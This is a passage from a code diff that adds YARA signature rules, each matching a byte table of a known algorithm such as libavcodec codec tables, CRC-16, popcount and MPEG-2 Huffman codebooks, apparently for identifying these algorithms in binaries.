4ae576a14cb926613cf8171262f598629ba77855c88f71c97c584ce6e6c3cfcadb0723da9c7aa29eb3a62469b2361c9d14f94b2e184cf536f3067f9d36004b355459102b769f17cf1122389858d3a9ccb67d57dff2a940675182636cdce5fe64f6dd0c50a65c93309e7c0be388102d33392364a4226ac498dedc50170c267a9b79833fdcd7181e300f9e5e6ff954a033a8c13128532e49984f3e059b7d62f79be8616aa707db9acf80c06d14299724cc279f025383edcd67c06036e0ada17364673f59 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_huffyuv_classic_shift_chroma__8_byt_60_
+{
+strings:
+	$a0 = { 422425262728294b4c4d6eef90515253545576b73839585938599a393a391a8d39383a393a39b877d6f574535231504f4e4d2c4b2928272625242200 }
+
+condition:
+	$a0
+}
+
+	
+rule Borland_Jfif_CbB_Table__32_lil_1024_
+{
+strings:
+	$a0 = { 1DFFFFFF1FFFFFFF21FFFFFF22FFFFFF24FFFFFF26FFFFFF28FFFFFF2AFFFFFF2BFFFFFF2DFFFFFF2FFFFFFF31FFFFFF32FFFFFF34FFFFFF36FFFFFF38FFFFFF3AFFFFFF3BFFFFFF3DFFFFFF3FFFFFFF41FFFFFF42FFFFFF44FFFFFF46FFFFFF48FFFFFF49FFFFFF4BFFFFFF4DFFFFFF4FFFFFFF51FFFFFF52FFFFFF54FFFFFF56FFFFFF58FFFFFF59FFFFFF5BFFFFFF5DFFFFFF5FFFFFFF61FFFFFF62FFFFFF64FFFFFF66FFFFFF68FFFFFF69FFFFFF6BFFFFFF6DFFFFFF6FFFFFFF70FFFFFF72FFFFFF74FFFFFF76FFFFFF78FFFFFF79FFFFFF7BFFFFFF7DFFFFFF7FFFFFFF80FFFFFF82FFFFFF84FFFFFF86FFFFFF88FFFFFF89FFFFFF8BFFFFFF8DFFFFFF8FFFFFFF90FFFFFF92FFFFFF94FFFFFF96FFFFFF97FFFFFF99FFFFFF9BFFFFFF9DFFFFFF9FFFFFFFA0FFFFFFA2FFFFFFA4FFFFFFA6FFFFFFA7FFFFFFA9FFFFFFABFFFFFFADFFFFFFAEFFFFFFB0FFFFFFB2FFFFFFB4FFFFFFB6FFFFFFB7FFFFFFB9FFFFFFBBFFFFFFBDFFFFFFBEFFFFFFC0FFFFFFC2FFFFFFC4FFFFFFC6FFFFFFC7FFFFFFC9FFFFFFCBFFFFFFCDFFFFFFCEFFFFFFD0FFFFFFD2FFFFFFD4FFFFFFD5FFFFFFD7FFFFFFD9FFFFFFDBFFFFFFDDFFFFFFDEFFFFFFE0FFFFFFE2FFFFFFE4FFFFFFE5FFFFFFE7FFFFFFE9FFFFFFEBFFFFFFEDFFFFFFEEFFFFFFF0FFFFFFF2FFFFFFF4FFFFFFF5FFFFFFF7FFFFFFF9FFFFFFFBFFFFFFFCFFFFFFFEFFFFFF0000000002000000040000000500000007000000090000000B0000000C0000000E0000001000000012000000130000001500000017000000190000001B0000001C0000001E0000002000000022000000230000002500000027000000290000002B0000002C0000002E0000003000000032000000330000003500000037000000390000003A0000003C0000003E0000004000000042000000430000004500000047000000490000004A0000004C0000004E0000005000000052000000530000005500000057000000590000005A0000005C0000005E0000006000000061000000630000006500000067000000690000006A0000006C0000006E0000007000000071000000730000007500000077000000780000007A0000007C0000007E0000008000000081000000830000008500000087000000880000008A0000008C0000008E0000009000000091000000930000009500000097000000980000009A0000009C0000009E0000009F000000A1000000A3000000A5000000A7000000A8000000AA000000AC000000AE000000AF000000B1000000B3000000B5000000B7000000B8000000BA000000BC000000BE000000BF000000C1000000C3000000C5000000C6000000C8000000CA000000CC000000CE000000CF000000D1000000D3000000D5000000D6000000D8000000DA000000DC000000DE000000DF000000E1000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Baseking_RCE__8_byt_12_
+{
+strings:
+	$a0 = { 0b162c58b071e2d5bb67ce8d }
+
+condition:
+	$a0
+}
+
+	
+rule Bit_count_256___popcount_tab__popullation_count___8_byt_256_
+{
+strings:
+	$a0 = { 00010102010202030102020302030304010202030203030402030304030404050102020302030304020303040304040502030304030404050304040504050506010202030203030402030304030404050203030403040405030404050405050602030304030404050304040504050506030404050405050604050506050606070102020302030304020303040304040502030304030404050304040504050506020303040304040503040405040505060304040504050506040505060506060702030304030404050304040504050506030404050405050604050506050606070304040504050506040505060506060704050506050606070506060706070708 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_Chinese_AVS_video__AVS1_P2__JiZhun__dequant_mul__16_big_128_
+{
+strings:
+	$a0 = { 80008cdd9838a5ffb505c567d88dec0880a48b969838a5ffb461c567d745ea1dffff8b969838a651b505c5b9d6f3eac180298b969838a5d6b52ec590d745ea98ffff8b969838a5ffb4f0c553d745eaacffff8ba09838a5ffb505c567d73beab7ffff8b96983da604b505c567d745eac180038b969835a601b505c567d745eac3 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x0811__16_big_refl_False_
+{
+strings:
+	$a0 = { 000008111022183320442855306638774088489950aa58bb60cc68dd70ee78ff8110890191329923a154a945b176b967c198c989d1bad9abe1dce9cdf1fef9ef0a3102201a1312022a7522643a5732464ab942a85a9b528a6afd62ec7adf72ce8b2183309b039312ab65a374bb47b356cba9c3b8db8bd39aebede3fcfbcff3de14621c7304400c5134263c3724042c1554ea5cfb44c84cd974ae7cbf648c6c9d95729d6385508d41b536bd27a514ad05d5faddebc5d8cdc9f5befdafe59ced8d1e5316420e7106603e1736062e3526245edb56ca4ef946e87e9f768e6ebd66ac9f4397528f618770bf07b716af25a734dfcbd7dacfe9c7f8ff8ff79eefade7bc28c420d538e630f70880009118a210b3684c605d786e707f48084019582a503ba9d4a1c5b9f6b1e78990818199b291a3e95ce14df97ef16fc918c109d93ad12b22f52ae432d73ac602b10aa012931a82627d6a6c725f7a4e42394a28521b5a0aa3e5abf4b3c7bbd683a18bb093839b92e36deb7cf34ffb5ec329cb38d30bdb1a3ca634b72c8424951ce214f30cc004d17c2e743f6c0c641d5c6a547b4c484459bdb6b5a7ad94a5859df295e38dd085c1fd3ef52fed1ce50ddd7ad56bcd58c54936973e8626b52ea416d31ec206f10ee0761f7e0e663d6e2c565b5e4a46794e68b787bf96a7a5afb497c39fd287e18ff0f70fff1ee72def3cd74bdf5ac769cf78 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo3_correctionhighorder__32_big_8188_
+{
+strings:
+	$a0 = { deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef0000000002020202fdfdfdfe0302fefffcfd0101feff03030100fcfd0000000002020202fdfdfdfe0302fefffcfd0101feff03030100fcfd0000000002020202fdfdfdfe0302fefffcfd0101feff03030100fcfd0000000002020202fdfdfdfe0302fefffcfd0101feff03030100fcfd0000000002020202fdfdfdfe0302fefffcfd0101feff03030100fcfd0000000002020202fdfdfdfe0302fefffcfd0101feff03030100fcfd0000000002020202fdfdfdfe0302fefffcfd0101feff03030100fcfd000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef0000000003030303fcfcfcfd0403fefffbfc0101feff04040100fbfc07070707f8f8f8f90000000003030303fcfcfcfd0403fefffbfc0101feff04040100fbfc07070707f8f8f8f90000000003030303fcfcfcfd0403fefffbfc0101feff04040100fbfc07070707f8f8f8f90000000003030303fcfcfcfd0403fefffbfc0101feff04040100fbfc07070707f8f8f8f90000000003030303fcfcfcfd0403fefffbfc0101feff04040100fbfc07070707f8f8f8f90000000003030303fcfcfcfd0403fefffbfc0101feff04040100fbfc07070707f8f8f8f90000000003030303fcfcfcfd0403fefffbfc0101feff04040100fbfc07070707f8f8f8f90000000003030303fcfcfcfd0403fefffbfc0101feff04040100fbfc07070707f8f8f8f90000000003030303fcfcfcfd0403fefffbfc0101feff04040100fbfc07070707f8f8f8f900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef0000000004040404fbfbfbfc0504fefffafb0101feff05050100fafb0a0a0303f5f5fcfd03030a0a0000000004040404fbfbfbfc0504fefffafb0101feff05050100fafb0a0a0303f5f5fcfd03030a0a0000000004040404fbfbfbfc0504fefffafb0101feff05050100fafb0a0a0303f5f5fcfd03030a0a0000000004040404fbfbfbfc0504fefffafb0101feff05050100fafb0a0a0303f5f5fcfd03030a0a0000000004040404fbfbfbfc0504fefffafb0101feff05050100fafb0a0a0303f5f5fcfd03030a0a0000000004040404fbfbfbfc0504fefffafb0101feff05050100fafb0a0a0303f5f5fcfd03030a0a0000000004040404fbfbfbfc0504fefffafb0101feff05050100fafb0a0a0303f5f5fcfd03030a0a0000000004040404fbfbfbfc0504fefffafb0101feff05050100fafb0a0a0303f5f5fcfd03030a0a0000000004040404fbfbfbfc0504fefffafb0101feff05050100fafb0a0a0303f5f5fcfd03030a0a0000000004040404fbfbfbfc0504fefffafb0101feff05050100fafb0a0a0303f5f5fcfd03030a0a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef0000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd0000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd0000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd0000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd0000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd0000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd0000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd0000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd0000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd0000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd0000000005050505fafafafb0706fdfef8f90202fdfe07070201f8f90b0b0b0bf4f4f4f50d0d0303f2f2fcfd0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000006060606f9f9f9fa0807fdfef7f80202fdfe08080201f7f80d0d0d0df2f2f2f30f0f0404f0f0fbfc04040f0f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef0000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb050512120000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb050512120000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb050512120000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb050512120000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb050512120000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb050512120000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb050512120000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb050512120000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb050512120000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb050512120000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb050512120000000007070707f8f8f8f90a09fcfdf5f60303fcfd0a0a0302f5f610101010efefeff012120505ededfafb0505121200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef0000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb050514140000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb050514140000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb050514140000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb050514140000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb050514140000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb050514140000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb050514140000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb050514140000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb050514140000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb050514140000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb050514140000000008080808f7f7f7f80b0afcfdf4f50303fcfd0b0b0302f4f512121212edededee14140505ebebfafb0505141400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef0000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e90000000009090909f6f6f6f70c0bfcfdf3f40303fcfd0c0c0302f3f414141414ebebebec17170606e8e8f9fa06061717f9f9e8e9000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book8__32_big_768_
+{
+strings:
+	$a0 = { 00000000000000050000000e00000001000000040000000500000002000000050000001000000003000000060000003000000004000000070000006f0000000500000008000000f10000000600000009000001fa000000070000000a000003fe0000000800000004000000030000000900000003000000000000000a00000004000000040000000b00000005000000120000000c000000060000002c0000000d000000070000006a0000000e00000007000000750000000f00000008000000f800000010000000050000000f00000011000000040000000200000012000000040000000600000013000000050000001400000014000000060000002e0000001500000007000000690000001600000007000000720000001700000008000000f500000018000000060000002f0000001900000005000000110000001a00000005000000130000001b000000060000002a0000001c00000006000000320000001d000000070000006c0000001e00000008000000ec0000001f00000008000000fa00000020000000070000007100000021000000060000002b00000022000000060000002d00000023000000060000003100000024000000070000006d0000002500000007000000700000002600000008000000f20000002700000009000001f90000002800000008000000ef0000002900000007000000680000002a00000006000000330000002b000000070000006b0000002c000000070000006e0000002d00000008000000ee0000002e00000008000000f90000002f0000000a000003fc0000003000000009000001f80000003100000007000000740000003200000007000000730000003300000008000000ed0000003400000008000000f00000003500000008000000f60000003600000009000001f60000003700000009000001fd000000380000000a000003fd0000003900000008000000f30000003a00000008000000f40000003b00000008000000f70000003c00000009000001f70000003d00000009000001fb0000003e00000009000001fc0000003f0000000a000003ff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truemotion_pc_tbl3__8_byt_768_
+{
+strings:
